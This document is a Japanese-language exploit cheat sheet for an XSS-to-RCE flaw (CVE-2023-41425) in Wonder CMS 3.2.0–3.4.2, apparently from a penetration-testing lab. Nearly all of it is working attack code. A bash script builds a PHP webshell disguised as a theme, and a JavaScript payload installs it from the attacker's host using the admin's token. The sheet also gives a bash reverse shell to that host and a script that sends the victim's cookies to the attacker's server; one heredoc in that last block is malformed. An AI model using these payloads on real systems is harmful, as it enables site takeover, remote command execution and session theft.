
Wonder CMS 3.2.0~3.4.2向けXSS-to-RCEエクスプロイト。自動テーマインジェクション、PHPウェブシェルの展開、リバースシェル、および細工されたJavaScriptペイロードを介したクッキー窃取を実行します。
############## Wonder CMS RCE ##############
| | 説明 : XSS から RCE へ、Wonder CMS 3.2.0 <= 3.4.2 | 出典 | - https://github.com/prodigiousMind/CVE-2023-41425/tree/main | - https://nvd.nist.gov/vuln/detail/CVE-2023-41425 |
RCE
.. code-block:: bash
$RHOST="http://host.com:80"
$LHOST="10.10.14.152"
$LPORT="4444"
$LPORTWEB="80"
cd $(mktemp -d)
mkdir -p evil
cat <<'EOF'>evil/evil.php
<?=`$_GET[0]`;?>
EOF
zip -r evil.zip evil/
cat <<EOF>xssrce.js
var xhr=new XMLHttpRequest();
xhr.open("GET", "${RHOST}/?installModule=http://${LHOST}:${LPORTWEB}/evil.zip&directoryName=whatever&type=themes&token=" + document.querySelectorAll('[name="token"]')[0].value, true);
xhr.send();
EOF
echo -e "\n# XSS RCE"
cat <<EOF
${RHOST}/index.php?page=loginURL?"></form><script+src="http://${LHOST}:${LPORTWEB}/xssrce.js"></script><form+action="
EOF
sudo python3 -m http.server $LPORTWEB &
|
| RCE XSS を管理者に送信後、以下の HTTP 呼び出しが発生します
.. code-block::
10.129.252.14 - - [11/Aug/2024 18:42:26] "GET /xssrce.js HTTP/1.1" 304 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:32] "GET /evil.zip HTTP/1.1" 200 -
|
| これで PHP ペイロードを利用できます
.. code-block:: bash
CMD="id"
curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"
CMD="bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'"
curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"
|
クッキー
| クッキー(および PHP セッション)を盗むこともできます
.. code-block:: bash
cat <xsscookie.js var xhr=new XMLHttpRequest(); xhr.open("GET", "http://${LHOST}:${LPORTWEB}/?"+document.cookie, true); xhr.send(); EOF
echo -e "\n# XSS Retrieve PHP session" cat <<EOF ${RHOST}/index.php?page=loginURL?"><script+src="http://${LHOST}:${LPORTWEB}/xsscookie.js"><form+action=" EOF
|